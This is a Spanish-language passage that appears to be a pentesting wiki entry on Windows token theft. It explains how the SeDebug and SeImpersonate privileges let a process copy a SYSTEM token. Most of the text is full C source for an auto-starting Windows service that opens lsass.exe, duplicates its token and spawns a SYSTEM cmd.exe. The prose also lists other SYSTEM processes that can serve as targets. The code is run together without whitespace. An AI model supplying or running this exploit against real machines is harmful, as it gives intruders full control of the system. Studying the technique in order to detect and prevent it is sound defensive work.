El siguiente código exploita los privilegios SeDebug y SeImpersonate para copiar el token de un proceso que se ejecuta como SYSTEM y con todos los privilegios del token.
En este caso, este código puede ser compilado y utilizado como un binario de servicio de Windows para verificar que está funcionando.
Sin embargo, la parte principal del código donde ocurre la elevación está dentro de la función Exploit.
Dentro de esa función puedes ver que se busca el proceso lsass.exe, luego se copia su token, y finalmente ese token se utiliza para iniciar un nuevo cmd.exe con todos los privilegios del token copiado.
Otros procesos que se ejecutan como SYSTEM con todos o la mayoría de los privilegios del token son: services.exe, svhost.exe (uno de los primeros), wininit.exe, csrss.exe... (recuerda que no podrás copiar un token de un proceso protegido). Además, puedes usar la herramienta Process Hacker ejecutándose como administrador para ver los tokens de un proceso.
// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("TokenDanceSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//This function will find the pid of a process by nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {HANDLE hSystemToken, hSystemProcess;HANDLE dupSystemToken =NULL;HANDLE hProcess, hThread;STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;ZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));// open high privileged processif ( pid =FindTarget("lsass.exe") )hSystemProcess =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract high privileged tokenif (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS,&hSystemToken)) {CloseHandle(hSystemProcess);return-1;}// make a copy of a tokenDuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenPrimary,&dupSystemToken);// and spawn a new process with higher privsCreateProcessAsUserA(dupSystemToken,"C:\\windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}